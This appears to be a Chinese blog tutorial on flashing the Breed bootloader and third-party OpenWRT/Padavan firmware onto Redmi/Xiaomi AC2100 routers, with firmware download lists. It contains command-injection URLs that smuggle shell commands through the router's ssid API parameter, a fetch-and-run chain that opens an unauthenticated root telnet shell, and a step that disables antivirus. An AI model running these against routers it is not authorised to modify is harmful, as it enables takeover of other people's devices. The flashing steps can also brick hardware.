红米 Redmi AC2100 路由器,最近在恩山上看到比较多,能刷 breed,上 OpenWRT,据说 5G 信号强得像打了鸡血……吊打 K2P……全新,更便宜。
「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」红米 Redmi AC2100 百元路由器 硬件配置 拆机
温馨提示:因为用的是 NAND Flash 闪存,有东芝和 ESMT 两个品牌,存在闪存坏块风险。
红米 Redmi AC2100 路由器配置,CPU:MT7621AT,双核 880MHz;内存:M15T1G1664A,DDR3 128MB;闪存:F59L1G81MB,128MB NAND;2.4G 无线芯片:MT7603EN,2x2mimo,最高速率 300Mbps,外置两颗功放芯片;5G 无线芯片:MT7615N,4x4mimo 最高速率 1733Mbps,没有独立功放芯片。拆机参考:acwifi、截图
「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」k2p 配置,CPU:MT7621AT,双核 880MHz;内存:128MB;闪存:16MB;无线芯片只有一颗:MT7615DN,支持 4x4mimo 双频,可以提供 2x2mimo 的 2.4G 和 2x2mimo 的 5G。
红米/小米 AC2100 刷入 breed 方法
温馨提示:刷机有风险。刷机有风险。刷机有风险。
「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」新方法更简单:[AC2100(RM2100)] 小米 红米【AC2100】一键刷 BREED【30 秒刷完】小白专用 无需工具 TELNET + 检查坏块
下载降级固件降级
降级固件官方下载地址:红米 AC2100 · * · * · 小米 AC2100 · * · * ·「备用下载」
下载完成后进入后台 192.168.31.1 -「常用设置」-「系统状态」-「手动升级」,加载固件,可以保留数据-「开始升级」等待完成即可。
「红米 Redmi AC2100 K2P 替代品 百元路由器 breed OpenWRT 固件收集:https://ostarted.com/80」红米/小米 AC2100 真·30 秒刷 BREED!
温馨提示:首先需要确保路由器有网络,可以正常上网,有网络才能自动下载 BREED。
进入路由器后台 192.168.31.1,复制 stok,使用复制的 stok 替换掉下面代码中的 CCCCCCCCCCC,然后复制修改好 stok 的代码,粘贴到浏览器,回车。(浏览器会显示 : {"code":0} ). 如果显示其他代码,可能是你还没降级固件或者 stok 过期,也可以恢复出厂从试。
检查 NAND 坏块代码
路由器开机超过一小时建议先重启,运行代码后,路由器 2.4G WiFi 名称会改名成:"ESMT","Toshiba","Toshiba 90 768"。 90 和 768 是坏块。 如果 ESMT 或者 Toshiba 后面没数字,那恭喜你,没有坏块!!!
http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A
刷 BREED 代码
可以先检查坏块,不检查也没关系。Bootloader 那里肯定不会有坏块,不然官方 Uboot 也会出问题。
http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A
如果路由器在 60 秒内重启则代表刷 BREED 成功「指示灯会从蓝变橘,最终变蓝进入系统」。成功后拔掉电源,按住 Reset 同时接上电源等待 10 秒即可进入 breed,地址:192.168.1.1
如果没重启,可能是 stok 过期了,进入后台复制新的 stok 重新操作即可;也有可能下载的 BREED 损坏,重新运行代码尝试;也有可能没网络或者连接不上 breed.hackpascal.net breed 服务器……
教程原文:长截图
红米/小米 AC2100 刷入 breed 方法(旧)
红米/小米 AC2100 刷入 breed 方法(旧)备份 ▼展开
breed:论坛上大神用 r3g 的 breed 测试可用,后续不知道会不会有专版。
下载所需要全部文件:AC2100.rar,注意不要把 AC2100 文件夹放在中文路径里,否则可能会出现很多奇怪问题。
Xshell:https://www.netsarang.com/zh/free-for-home-school
Putty:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
WinSCP:https://winscp.net/eng/downloads.php
开启路由器 telnet
建议使用 Win7 或者 Win10。
1、系统启用 telnet 客户端,方法:开始菜单-设置-程序-程序和功能-启用和关闭 Windows 功能,勾选 telnet client(或 telnet 客户端)
2、把所有不相关网络接口都禁用掉,修改连接路由器的网口地址为:192.168.31.177,子网掩码:255.255.255.0,默认网关:192.168.31.1
3、关闭所有杀毒软件,关闭防火墙,解压好 AC2100(注意不要把 AC2100 文件夹放在中文路径里,否则可能会出现很多奇怪问题),打开 AC2100 文件夹,先安装文件夹里的 WinPcap_4_1_3.exe 或者 npcap-0.9991.exe
4、进入路由器,设置 pppoe 账号密码,账号:123 密码:123 路由器按照如下连接网线:
5、复制好「开启 telnet 命令.txt」文件里面的命令,也就是下面的代码:
cd /tmp&&wget http://192.168.31.177:8081/busybox&&chmod a+x ./busybox&&./busybox telnetd -l /bin/sh
6、执行「一键开启 telnet.bat」,按提示操作,直到反弹 shell 窗口显示收到数据,然后把前面复制「开启 telnet 命令.txt」文件里面的命令粘贴到反弹 shell 窗口(右键为粘贴,回车运行即可。
cd /tmp&&wget http://192.168.31.177:8081/busybox&&chmod a+x ./busybox&&./busybox telnetd -l /bin/sh
如无意外,至此,路由器 telnet 功能成功开启。
注意:路由 telnet 开启成功后记得把 WAN-LAN 之间的网线拔掉,否则会造成网络风暴。
刷入 r3g breed
建议原厂固件刷入,这样还可以备份一下原厂固件编程器固件。
原厂固件写 breed
telnet 连接路由器,建议 Putty 或者 Xshell 之类工具,当然直接使用 cmd 也是可以的。
telnet 192.168.31.1
cd /tmp
查看路由当前分区命令:
cat /proc/mtd
备份路由原厂分区,先在电脑以管理员权限运行 AC2100 文件夹中 ftpdmin.exe,然后再 telnet 命令行备份,比如:
./busybox nanddump -f mtd1.bak /dev/mtd1 ##备份分区 1
./busybox ftpput 192.168.31.177 mtd1.bak ./mtd1.bak ##传输备份文件到电脑
备存文件存储到 AC2100 文件所在硬盘根目录。备份完成,就可以刷写 breed:
注意:检查一下「Task_文件服务器」进程是否还在运行,没有运行的话执行一下 AC2100 文件夹中的 httpserver.bat
执行如下命令写入 breed:
wget http://192.168.31.177:8081/breed-mt7621-xiaomi-r3g.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit
mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader
从 padavan 写 breed
用 WinSCP 将 breed-mt7621-xiaomi-r3g.bin 传入 padavan 固件路由器 /tmp 目录下
Xshell、Putty 或 telnet 命令行登录路由器,执行:
cd /tmp
备份:
cat /proc/mtd
cat /dev/mtdblock0 > /tmp/mtd0.bak
用 WinSCP 将 /tmp/mtd0.bak 文件传回电脑。
刷写 breed:
mtd_write -r write breed-mt7621-xiaomi-r3g.bin Bootloader
将电脑改为自动获取 ip,等待路由器重启(电脑获取到 ip 或者路由只有一个蓝灯亮,breed 引导官方固件成功)。
建议等待 5 分钟后拔电,用牙签按住 reset 键再插电,等蓝灯闪烁,松开 reset 键,浏览器访问 192.168.1.1 即可进入 breedweb 界面。
温馨提示:首次进入 breed 记得先备份下编程器固件和 eeprom。
hackpascal 大 breed 原贴:https://www.right.com.cn/forum/thread-161906-1-1.html
由于刷入的是 r3g breed,很多刷固件的问题与 r3g 共通,参考:[R3G] 小米路由器 R3G 用 Breed 安装原生 OpenWrt 详解
目前已知红米路由闪存有东芝和 ESMT 两种,刷入 breed 均正常。
刷回官方 boot 方法
温馨提示:刷机有风险。刷机有风险。刷机有风险。
据网友验证恢复官方 boot 的操作经验证可行,如果你不想用第三方固件,要刷回官方固件,稳妥的操作顺序是先恢复官方 boot 引导文件,再用官方救砖工具一键刷回。
注意:暂时不要通过 breed"固件更新"功能直接刷回官方 boot,目前存在不确定性。
从 padavan 固件恢复官方 boot
红米 AC2100 将 AC2100 文件夹中 bootloader-redmi-ac2100.bin 通过 WinSCP 上传到路由 /tmp 目录下。
然后用 Xshell、Putty 或 telnet 命令行连接路由器,执行命令:
mtd_write -r write /tmp/bootloader-redmi-ac2100.bin Bootloader
小米 AC2100 则把 bootloader-xiaomi-ac2100.bin 上传并写入。
路由重启后用官方救砖工具即可刷回原厂。具体步骤和资源请参考: 小米路由官方救砖工具使用说明、小米路由官方资源下载首页。
从 OpenWRT 固件恢复官方 boot
由于部分 OpenWRT 固件 boot 分区有锁,建议先从 breed 刷入老毛子固件再按上面「从 padavan 固件恢复官方 boot 恢复」方法恢复官方 boot。
当前有漏洞原厂固件:备用下载
检查闪存坏块方法
第一步,翻路由的系统日志或内核日志,一般坏块信息在路由刚启动时的日志附近。
第二步,telnet(或使用 Xshell、Putty)登录路由,依次执行命令:
dmesg | grep NAND
dmesg | grep '[B|b]ad.*block'
dmesg | grep eraseblock
会有四种情况:
- 执行指令没有返回任何信息,翻日志也没找到任何闪存相关信息,重启下路由再找一次。
- 执行后返回信息中有 ESMT 字样,翻日志也没有显示坏块信息的是 ESMT 闪存,没有检测到坏块。
- 较为正常东芝闪存返回信息:坏块 768,但刷固件一切正常。
- 是东芝闪存而且有问题的路由返回信息如图,坏块 90+768,根据调查 “90” 这个数字还有其他值,推测跟东芝闪存体质有关。
红米/小米 AC2100 使用 breed 刷入 OpenWRT/潘多拉固件方法
方法:编辑环境变量,刷入临时固件,升级到实际使用 OpenWRT/潘多拉固件。
教程作者:pnq
编缉环境变量
进入 breed 环境变量编缉,新增字段 xiaomi.r3g.bootfw,值设置为 2,然后保存。
刷入临时固件
下载临时固件:openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel(旧版)
2020-08-29 更新:小米和红米 AC2100 临时过渡底包固件
路由器 breed 刷入并重启:
重启后进入这个临时 OpenWRT,后台地址:http://192.168.1.1,用户名:root,没有密码。
升级到真正想用的 OpenWRT
然后进入刷机/升级页面:http://192.168.1.1/cgi-bin/luci/admin/system/flash ,点击 Flash image... 上传想刷的固件,点击 Continue,等几分钟让路由器自己重启即可进入新固件。
温馨提示:刷机有风险,后果自负。
2020-10-11:论坛上看到另一种刷机方法,备份过来,有需要不妨试试。所需资料点此下载:a76yyyy-op-ac2100-20201011
红米 Redmi AC2100 固件收集
目前主要就两大类第三方固件:Padavan 和 OpenWRT。
chongshengB Padavan 固件
项目地址:Github
默认登陆 IP:192.168.2.1,默认用户名/密码:admin/admin,默认 wifi 密码:1234567890
备用下载:2020.5.7:RM2100_3.4.3.9-099
hiboy 老毛子 Padavan 固件
帖子:https://www.right.com.cn/forum/thread-161324-1-1.html
简单使用说明+默认配置:
旧固件网关:192.168.1.1
新固件网关:192.168.123.1
管理页面:http://my.router/
管理账号:admin/admin
wifi:1234567890
刷机不恢复默认值
按键 10 秒原厂默认值
使用 transmission、aria 前,需要手动在 u 盘上建一个 transmission 目录或 aria 目录。(文件名必须小写字母)
使用 Optware、Entware 前,需要手动在 u 盘上建一个 opt 目录。(文件名必须小写字母)
备用下载:HB-RM2100_3.4.3.9-099(2020-05-03)
2020-10-03:HB-RM2100_3.4.3.9-099
2021-07-25:RM2100_3.4.3.9-099
2021-10-25:hiboy-RM2100_3.4.3.9-099(内含一键自动更新固件脚本)
hfy166 OpenWrt 精简稳定版 AP 版 多功能版
帖子:【精简稳定版 OpenWrt】红米&小米 AC2100|帕斯沃|多拨|SmartDNS|IPV6、【多功能版 OpenWrt】红米&小米 AC2100|IPV6|酸奶|SmartDNS|多拨|猫咪
- 基于 Lede 的源码编译,不含任何后门,干净纯洁,放心用!
- 刷完 ROM 后软件包空闲空间为 80M 多。
- 小米 AC2100 机器可通刷但有一个插口会失灵。
- 精简版包含 PassW**l(帕斯沃)、SmartDNS、单线/多线多拨、Zerotier、DDNS、Adbyby+(去广告)、Turbo Acc 加速。
- 帕斯沃可以简单理解为乳酸菌饮料+,功能一样还好用。
- 本固件默认不集成帕斯沃 book、kcptun 协议,如有需要直接在帕斯沃-自动更新里更新下载即可。
- AP 版固件:去掉了所有插件,保留基础路由功能,老老实实做一个 AP 路由,中继主路由。
- 本固件路由器管理地址:192.168.2.1 用户名:root 密码:password
- 刷机完成后默认 2.4G/5G WIFI 名为:RMWiFi
固件备用下载地址:
- OpenWrt-RM2100-多功能-hfy166(2020-05-19)
- OpenWrt-RM2100-精简-hfy166(2020-05-18)
- OpenWrt-RM2100-AP-hfy166(2020-05-17)
- OpenWrt-RM2100-多功能-hfy166(2020-05-15)
- hfy166-op-rm2100-AP(2020-10-09)
- hfy166-op-rm2100-精简(2020-10-09)
- hfy166-op-rm2100-多功能(2020-10-09)
- openwrt-redmi-ac2100-AP 精简(20210311)
- openwrt-redmi-ac2100-多功能(20210311)
Heroes233 - [AC2100(RM2100)] Lean 小米/红米 AC2100-OpenWRT/Padavan 固件-160mhz
帖子:https://www.right.com.cn/forum/thread-4048412-1-1.html
功能齐全,5G 解锁 160MHz,超低 CPU 内存占用,稳定运行,可长期使用。支持:多拨,宽带叠加,科学上网加速,广告屏蔽大师,AdGuardhome,解锁网易云,内网穿透 frp/nps,kms 服务器,访客网络,定时开关 WiFi 等。
默认地址 10.0.0.1 或 192.168.1.1,账户 root 密码 password
固件下载(压缩包含使用说明):
- 2020-10-11:Heroes233-op-ac2100
- 2022-01-20:Heroes233-RM2100_3.4.3.9-099
- 2022-02-22:Heroes233-openwrt-ramips-mt7621-xiaomi_mi-router-ac2100
hanwckf-redmi-ac2100-Padavan
- 2020-05-03:hanwckf-redmi-ac2100-Padavan
Kenvix [AC2100(RM2100)] OpenWRT 轻量|锐捷|闭源驱动|组网|NFS|多拨
帖子:https://www.right.com.cn/forum/thread-5146135-1-1.html
地址:192.168.1.1;密码:password
固件特色:轻量,低内存占用。主路由/AP 均适用、集成常用 Wire 猪 uard, L2TP/IPSec 等跨区组网协议。闭源驱动,开启 SFE 后,LibreSpeed 5G 测速可达 650Mbps(手机为红米 K20Pro);支持 NFS 客户端,不支持 Samba,AC2100 跑 samba 非常吃力。不支持 802.11kvr,闭源驱动当前还不支持此功能。用开源驱动则不支持 HWNAT,导致无线速度只有 ~300Mbps。
固件下载(压缩包含使用说明):
- 2021-08-04:绿皮火车-Kenvix-RM2100-OpenWRT-R21.7.26
红米 AC2100 4.4 内核 Padavan 多拨+ qos + kvr 漫游+科学
来源:237176253
把 chongshengb 的插件整合到了 hanwckf 的新 4.4 内核老毛子,补全了漫游的 kvr 支持。同时把之前 chongshengb 插件的:添加节点后列表显示重复,部分 vmess 协议无法使用,绕过模式 dns 解析异常,编辑节点后实际未生效,UDP 异常等一堆问题修了。
默认 ip 192.168.2.1,用户名密码均为 admin
2022-02-12:RM2100-2121
2022-02-18:RM2100-218-kvr
其它 RM2100 固件
2021-12-25:2021-06-27-openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade(据称可稳定使用至传家宝)
温馨提示:因为用的是 NAND Flash 闪存,有东芝和 ESMT 两个品牌,存在闪存坏块风险。
参考资料
文档备份:一些教程文档备份-20210725
[AC2100(RM2100)] 红米/小米 AC2100 刷入 r3g breed 详细教程(附:恢复官方 boot 教程)
https://www.right.com.cn/forum/thread-4017726-1-1.html
小米官方救砖工具:官方地址-MIWIFIRepairTool.x86.zip · 备用下载
感谢支持 Thanks!解压及网盘密码 1024
本文已于 2022-02-22 修改更新,您的宝贵建议请在文章下方评论区留言反馈,谢谢。